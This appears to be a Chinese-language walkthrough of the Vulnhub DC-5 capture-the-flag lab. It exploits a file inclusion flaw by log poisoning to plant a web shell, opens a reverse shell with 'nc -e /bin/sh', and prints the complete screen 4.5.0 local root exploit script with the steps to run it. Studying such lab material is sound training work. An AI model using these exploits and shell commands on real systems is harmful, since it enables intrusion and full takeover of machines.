Vulnhub靶机入门系列DC:5

DC-5

题目描述:

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it **is** there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will **hopefully** provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.

描述中说到something that changes with a refresh of a page(随着页面刷新而改变的东西),这里我们留意一下。并且靶机只有一个flag

知识点总结:

​ ①端口扫描(熟悉常用的几个端口是哪个服务)

​ ②文件包含漏洞

​ ③利用文件包含写入shell

​ ④screen提权

1.使用命令列出局域网内所有主机

arp-scan -l

image

获得目标主机IP:192.168.2.118

2.使用nmap扫描目标主机查看开放端口

root@kali:~#nmap -sV -p- 192.168.2.118 
参数说明:                
        -sV 用来扫描目标主机和端口上运行的软件的版本
        -p 80 指定80端口
        -p- 扫描0-65535全部端口
image

可以看到开放了80端口,代表有web服务,直接访问

常用端口参考链接

3.访问IP查看web内容

image

在contact模块发现了留言板的功能,随便输入测试一下

image

看到请求被提交到了thankyou.php,并且有参数,为GET方式传参。从题目描述中我们也知道提示到了刷新,我们刷新下页面看下

image

被圈住的地方每当刷新一次都会改变,有此我们可以联想到可能有文件包含漏洞

我们现在先扫一下目录看一下是哪个文件被包含进来

使用DirBuster扫描目录

image

可以发现有一个footer.php 访问一下正好验证文件包含的漏洞

image

4.测试文件包含参数

那么我们现在就要确定文件包含的参数是哪一个,一般page ,file,filename用的比较多,我们可以试一下,如果不是我们也可以用kali里边自带的字典进行fuzz

image

由此,我们可以确定参数为file

我们现在可以对文件进行读取了,但是我们的目的是获取shell,如果只读取文件是无法完成的,我们需要往里边写东西,于是可以想到利用日志文件,将shell写入日志文件 然后进行文件包含

image

可以看到网站是Nginx的,Nginx 的日志默认路径是

/var/log/nginx/error.log

/var/log/nginx/access.log

我们也可以用过FuzzDB提供的字典进行爆破日志的位置字典链接

image

有了日志文件位置,接下来就要往日志文件写一句话木马

5.写入一句话木马

?file=

image

查看日志文件

image

可以看到一句话木马已经被写进日志文件了

使用蚁剑进行连接

image

6.我们用nc反弹一个shell到我们的kali机

​ 首先在kali机上nc -nlvp 1234

​ 然后使用 nc -e /bin/sh IP port 来反弹

image

因为这个shell不是很稳定,我们用python换一个shell

python -c 'import pty; pty.spawn("/bin/bash")'

7.接下来进行提权

​ 首先我们要查找目前用户有什么root权限的命令(下边两行命令都可以查询)

find / -user root -perm -4000 -print 2>/dev/null         

find / -perm -u=s -type f 2>/dev/null      

find / -user root -perm -4000 -exec ls -ldb {} \ ;
image

一般可以用来SUID提权的有

Nmap
Vim
find
Bash
More
Less
Nano
cp

但是我们发现可用的里边没有,而且有一个screen-4.5.0的奇怪的东西,百度查看一下可以知道这个命令可以用来提权

我们用searchsploit搜索一下漏洞利用脚本

searchsploit screen 4.5.0
image

我们用第一个41154.sh

拷贝过来

cp /usr/share/exploitdb/exploits/linux/local/41154.sh  41154.sh

直接上传这个脚本执行不了

查看一下脚本如何利用

cat 41154.sh

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include 
#include 
#include 
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include 
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

第一步

​ 将第一步分的c代码放入libhax.c中 然后进行编译

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

第二步

​ 将第二部分c代码放入rootshell.c中进行编译

gcc -o /tmp/rootshell /tmp/rootshell.c

第三步

​ 通过nc将文件传输到目标机的tmp文件夹,因为tmp文件夹的权限一般很大,或者也可以直接用蚁剑传输

kali:
nc -nlvp 1234 < libhax.so
nc -nlvp 1234 < rootshell
目标机:
nc 192.168.2.135 1234 > libhax.so
nc 192.168.2.135 1234 > rootshell
image

第四步

我们按照脚本里边的命令一步一步执行就可以了

$cd /etc
$umask 000
$screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
$screen -ls
$/tmp/rootshell

提权成功

在root目录下找到flag

你可能感兴趣的:(Vulnhub靶机入门系列DC:5)